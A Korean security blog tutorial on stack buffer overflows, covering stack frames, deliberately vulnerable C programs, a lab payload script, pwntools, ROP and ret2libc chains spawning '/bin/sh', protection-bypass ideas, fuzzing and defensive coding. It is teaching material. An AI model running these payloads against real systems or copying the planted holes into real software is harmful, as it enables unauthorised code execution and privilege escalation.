suminworld

system

[시스템 보안] 버퍼 오버플로우

숨usm 2025. 9. 8. 19:36

시스템 보안에서 가장 기본이 되는 버퍼 오버플로우(Buffer Overflow) 취약점

- 버퍼 오버플로우는 오래된 취약점이지만, 여전히 많은 시스템에서 발견되고 있으며 다른 고급 공격의 기반이 되는 중요한 개념


목차

  1. 버퍼 오버플로우란?
  2. 스택 메모리 구조
  3. 메모리 정렬과 패딩
  4. 취약점 발생 원리
  5. 실습: 간단한 BOF
  6. 현대적 보호 기법들
  7. 그 외
  8. 실전 도구들

버퍼 오버플로우란?

**버퍼 오버플로우(Buffer Overflow)**는 프로그램이 할당된 메모리 영역을 넘어서 데이터를 쓸 때 발생하는 취약점

왜 위험한가?

  • 메모리 손상: 인접한 데이터 덮어쓰기
  • 코드 실행: 공격자가 원하는 코드 실행
  • 권한 상승: 시스템 권한 획득 가능

간단한 예시

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
    char buffer[8];          // 8바이트만 할당
    strcpy(buffer, "AAAAAAAAAAAAAAAA");  // 16바이트 복사 → 오버플로우!
}

int main() {
    vulnerable_function();
    return 0;
}

스택 메모리 구조

스택은 함수 호출 시 지역변수와 제어 정보를 저장하는 메모리 영역

스택 프레임 구조

높은 메모리 주소
┌─────────────────────┐
│   이전 함수 데이터    │
├─────────────────────┤
│   Return Address    │ ← 공격 목표!
├─────────────────────┤
│   Saved EBP/RBP     │
├─────────────────────┤
│   지역 변수 n       │
├─────────────────────┤
│   지역 변수 2       │
├─────────────────────┤
│   지역 변수 1       │ ← 버퍼는 보통 여기
└─────────────────────┘
낮은 메모리 주소

함수 호출 과정

  1. CALL: Return Address를 스택에 푸시
  2. PUSH EBP: 이전 함수의 베이스 포인터 저장
  3. MOV EBP, ESP: 새로운 스택 프레임 설정
  4. SUB ESP, n: 지역변수 공간 할당

메모리 정렬과 패딩

정렬이 필요한 이유

CPU는 효율성을 위해 특정 경계에서 데이터를 읽음

  • char: 1바이트 경계 (어디든 가능)
  • int: 4바이트 경계 (주소가 4의 배수)
  • double: 8바이트 경계 (주소가 8의 배수)

패딩 예시

struct Example {
    char a;     // 1바이트
    int b;      // 4바이트
    char c;     // 1바이트
};

// 실제 메모리 레이아웃:
// [a][___][b b b b][c][___] = 12바이트 (패딩 포함)
//    ↑ 3바이트 패딩  ↑ 3바이트 패딩

스택에서의 변수 배치

void function() {
    char buffer[8];    // 8바이트
    int var1;          // 4바이트
    char var2;         // 1바이트
    
    // 실제 메모리 (x86-64 기준):
    // [buffer 8바이트][var1 4바이트][var2 1바이트][패딩 3바이트]
}

취약점 발생 원리

1. 경계 검사 없는 함수들

// 위험한 함수들
gets(buffer);                    // 길이 제한 없음
strcpy(dest, src);              // 목적지 크기 확인 안함
sprintf(buffer, format, ...);    // 버퍼 크기 무시

2. 오버플로우 시나리오

void vulnerable() {
    char buffer[64];        // 64바이트 버퍼
    int important_data = 0x12345678;
    
    printf("Buffer: %p\n", buffer);
    printf("Important data: %p\n", &important_data);
    
    // 사용자 입력
    gets(buffer);  // 64바이트 이상 입력하면?
    
    printf("Important data after: 0x%x\n", important_data);
}

3. Return Address 덮어쓰기

void exploit_target() {
    char buffer[16];
    
    // 공격자가 24바이트 이상 입력하면
    // Return Address를 덮어써서 
    // 원하는 주소로 점프 가능!
    
    strcpy(buffer, user_input);  // 위험!
}

실습: 간단한 BOF

취약한 프로그램 작성

// vulnerable.c
#include <stdio.h>
#include <string.h>

void secret_function() {
    printf("해킹 성공! 비밀 함수 실행됨!\n");
}

void vulnerable_function() {
    char buffer[64];
    
    printf("함수 주소들:\n");
    printf("secret_function: %p\n", secret_function);
    printf("buffer 주소: %p\n", buffer);
    
    printf("입력하세요: ");
    gets(buffer);  // 취약점!
    
    printf("입력받은 내용: %s\n", buffer);
}

int main() {
    printf("=== 버퍼 오버플로우 실습 ===\n");
    vulnerable_function();
    printf("프로그램 정상 종료\n");
    return 0;
}

컴파일 및 실행

# 보호 기능 모두 끄고 컴파일
gcc -fno-stack-protector -z execstack -no-pie vulnerable.c -o vulnerable

# 실행
./vulnerable

익스플로잇 페이로드 생성

# exploit.py
import struct

def create_payload():
    # 1. 버퍼 크기 + 패딩 계산 (보통 72~80바이트)
    padding = b'A' * 72
    
    # 2. secret_function 주소 (실제로는 GDB로 확인)
    secret_addr = 0x401234  # 실제 주소로 변경 필요
    
    # 3. 리틀 엔디안으로 주소 변환
    return_addr = struct.pack('<Q', secret_addr)  # 64비트
    
    payload = padding + return_addr
    
    print(f"페이로드 길이: {len(payload)}")
    print(f"페이로드: {payload}")
    
    return payload

if __name__ == "__main__":
    payload = create_payload()
    
    # 파일로 저장
    with open('payload.txt', 'wb') as f:
        f.write(payload)
        
    print("페이로드가 payload.txt에 저장됨")

현대적 보호 기법들

1. 스택 카나리 (Stack Canary)

// 컴파일러가 자동으로 추가하는 코드 (개념적)
void protected_function() {
    unsigned long canary = __stack_canary;  // 랜덤값
    char buffer[64];
    
    // 함수 로직...
    
    if (canary != __stack_canary) {
        abort();  // 스택 오버플로우 감지!
    }
}

우회 방법:

  • 카나리 값 유출하기
  • 부분적 덮어쓰기로 카나리 우회

2. ASLR (Address Space Layout Randomization)

# ASLR 상태 확인
cat /proc/sys/kernel/randomize_va_space
# 0: 비활성화, 1: 부분 활성화, 2: 완전 활성화

# ASLR 비활성화 (테스트용)
sudo sysctl -w kernel.randomize_va_space=0

3. NX bit / DEP (Data Execution Prevention)

스택 영역에서 코드 실행을 방지:

# 컴파일 시 실행 가능한 스택 만들기 (위험!)
gcc -z execstack program.c

4. PIE (Position Independent Executable)

# PIE 비활성화로 컴파일
gcc -no-pie program.c

그 외

1. ROP (Return Oriented Programming)

실행 가능한 코드 조각들을 체이닝:

# ROP 가젯 예시
pop rdi; ret        # 가젯 1
pop rsi; ret        # 가젯 2
system@plt          # 가젯 3

2. GOT/PLT 오버라이트

// Global Offset Table 조작
// printf@got를 system으로 덮어쓰기
printf("/bin/sh");  // 실제로는 system("/bin/sh") 실행

3. 포맷 스트링 버그와 조합

// 임의 메모리 쓰기 + BOF
printf(user_input);              // 포맷 스트링 버그로 주소 유출
strcpy(buffer, large_input);     // BOF로 제어 흐름 탈취

4. 힙 스프레이와 조합

// 브라우저 익스플로잇에서
// 힙에 쉘코드 스프레이 후 스택 BOF로 점프
var spray = unescape("%u9090%u9090" + shellcode);

실전 도구들

디버깅 도구

# GDB로 메모리 분석
gdb ./program
(gdb) run
(gdb) info registers           # 레지스터 상태
(gdb) x/20x $esp              # 스택 메모리 덤프
(gdb) disas vulnerable_function # 어셈블리 코드 보기

# 패턴으로 오프셋 찾기
(gdb) pattern create 100
(gdb) pattern offset $eip

정적 분석 도구

# 바이너리 분석
objdump -d program              # 디스어셈블리
readelf -S program             # 섹션 정보
checksec program               # 보호 기법 확인

# 소스코드 분석
cppcheck --enable=all program.c
flawfinder program.c

동적 분석 도구

# Valgrind로 메모리 오류 검출
valgrind --tool=memcheck ./program

# AddressSanitizer 사용
gcc -fsanitize=address -g program.c

익스플로잇 개발

# pwntools 사용 (Python)
from pwn import *

# 바이너리 연결
p = process('./vulnerable')
# 또는 원격 연결
# p = remote('target.com', 1337)

# 페이로드 전송
payload = b'A' * 72 + p64(target_address)
p.sendline(payload)

# 쉘 획득
p.interactive()

실전 시나리오들

시나리오 1: 로컬 권한 상승

// setuid 프로그램의 취약점
void process_file(char *filename) {
    char buffer[256];
    FILE *fp = fopen(filename, "r");
    
    fgets(buffer, 1000, fp);  // 버퍼보다 많이 읽음!
    
    // 처리 로직...
}

시나리오 2: 네트워크 서비스 공격

// 네트워크 데몬의 취약점
void handle_request(int client_socket) {
    char request[512];
    
    recv(client_socket, request, 2048, 0);  // 크기 체크 없음!
    
    // 요청 처리...
}

시나리오 3: 웹 애플리케이션 (CGI)

// CGI 스크립트의 환경변수 처리
void process_env() {
    char buffer[1024];
    char *query = getenv("QUERY_STRING");
    
    strcpy(buffer, query);  // URL 파라미터 → BOF 가능
}

공격 벡터별 분석

입력 벡터

벡터 설명 예시

명령행 인자 argv[] 오버플로우 ./program $(python -c 'print("A"*1000)')
환경 변수 getenv() 결과 처리 LANG="A"*1000 ./program
네트워크 입력 소켓 데이터 send(socket, "A"*1000, 1000, 0)
파일 입력 파일 읽기 함수 큰 파일 생성 후 읽게 하기

메모리 영역별 공격

// 스택 BOF
void stack_overflow() {
    char buffer[64];
    gets(buffer);
}

// 힙 BOF  
void heap_overflow() {
    char *buffer = malloc(64);
    strcpy(buffer, large_input);
}

// BSS BOF
char global_buffer[64];
void bss_overflow() {
    strcpy(global_buffer, large_input);
}

보호 기법 우회 전략

ASLR 우회

# 1. 정보 유출로 주소 계산
leak_addr = leak_function()
libc_base = leak_addr - offset_from_libc_base

# 2. 부분적 덮어쓰기 (Partial Overwrite)
# 하위 바이트만 덮어써서 ASLR 우회

# 3. 브루트포스 (32비트에서만 현실적)
for i in range(1000):
    try_exploit(guess_address)

스택 카나리 우회

// 1. 카나리 값 유출
void leak_canary() {
    char buffer[64];
    // 포맷 스트링 버그로 카나리 읽기
    printf("%p %p %p %p\n");  
}

// 2. 부분 덮어쓰기
// 카나리의 null byte 이용

// 3. fork 기반 브루트포스
// 카나리가 fork에서 동일하다는 점 이용

NX/DEP 우회 - ROP 체인

# ROP 체인 구성
rop_chain = [
    pop_rdi_ret,           # 가젯: pop rdi; ret
    binsh_string_addr,     # "/bin/sh" 문자열 주소
    system_addr,           # system() 함수 주소
]

payload = b'A' * offset + b''.join([p64(addr) for addr in rop_chain])

고급 기법들

Ret2libc

# libc 함수 체이닝
chain = [
    system_addr,      # system() 호출
    exit_addr,        # 깔끔한 종료를 위한 exit()
    binsh_addr,       # "/bin/sh" 인자
]

ROP Chain 자동화

# ROPgadget 사용
from pwn import *

binary = ELF('./target')
rop = ROP(binary)

# 자동으로 ROP 체인 생성
rop.call('system', ['/bin/sh'])
print(rop.dump())

SROP (Sigreturn-oriented Programming)

# sigreturn 시스템콜 이용
mov rax, 15      # SYS_rt_sigreturn
syscall          # 레지스터 상태를 스택에서 복원

분석 방법론

1. 정적 분석

# 바이너리 기본 정보
file ./target
checksec ./target

# 문자열 추출
strings ./target

# 함수 목록
nm ./target
objdump -t ./target

2. 동적 분석

# 실행 추적
strace ./target
ltrace ./target

# 메모리 매핑
cat /proc/$(pidof target)/maps

# 코어 덤프 분석
ulimit -c unlimited
gdb ./target core

3. 퍼징 (Fuzzing)

# 간단한 퍼저
import subprocess
import string
import random

def fuzz_target():
    for length in range(1, 1000):
        payload = ''.join(random.choices(string.printable, k=length))
        
        try:
            result = subprocess.run(['./target'], 
                                  input=payload, 
                                  text=True, 
                                  timeout=5,
                                  capture_output=True)
            
            if result.returncode < 0:  # 크래시 감지
                print(f"크래시! 길이: {length}, 페이로드: {payload}")
                
        except subprocess.TimeoutExpired:
            continue

방어 전략

안전한 함수 사용

// 위험한 함수 → 안전한 대안
gets(buffer)              → fgets(buffer, size, stdin)
strcpy(dest, src)         → strncpy(dest, src, size)
sprintf(buf, fmt, ...)    → snprintf(buf, size, fmt, ...)
scanf("%s", buf)          → scanf("%63s", buf)  // 길이 제한

방어적 프로그래밍

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void safe_string_copy(char *dest, const char *src, size_t dest_size) {
    if (!dest || !src || dest_size == 0) {
        return;  // 입력 검증
    }
    
    strncpy(dest, src, dest_size - 1);
    dest[dest_size - 1] = '\0';  // null terminator 보장
}

void safe_input_handling() {
    char buffer[64];
    
    printf("입력 (최대 %zu자): ", sizeof(buffer) - 1);
    
    if (fgets(buffer, sizeof(buffer), stdin)) {
        // 개행 문자 제거
        size_t len = strlen(buffer);
        if (len > 0 && buffer[len-1] == '\n') {
            buffer[len-1] = '\0';
        }
        
        printf("안전하게 받은 입력: %s\n", buffer);
    }
}

컴파일러 보호 활성화

# 강력한 보호 기법들 모두 활성화
gcc -fstack-protector-strong \
    -D_FORTIFY_SOURCE=2 \
    -pie -fPIE \
    -Wl,-z,relro,-z,now \
    -Wl,-z,noexecstack \
    program.c -o program

실전 워게임 추천

온라인 플랫폼

  • pwnable.kr: 한국어 지원, 난이도별 문제
  • OverTheWire: 체계적인 학습 과정
  • picoCTF: 초보자 친화적
  • HackTheBox: 실전 환경

로컬 실습 환경

# Ubuntu에서 취약한 환경 설정
sudo apt update
sudo apt install gdb python3-pwntools

# ASLR 끄기 (실습용)
sudo sysctl -w kernel.randomize_va_space=0

# 코어 덤프 활성화
ulimit -c unlimited

마무리

버퍼 오버플로우는 단순해 보이지만 매우 강력한 공격 기법.

현대의 다양한 보호 기법들이 있지만, 여전히 새로운 우회 방법들이 계속 발견되고 있음.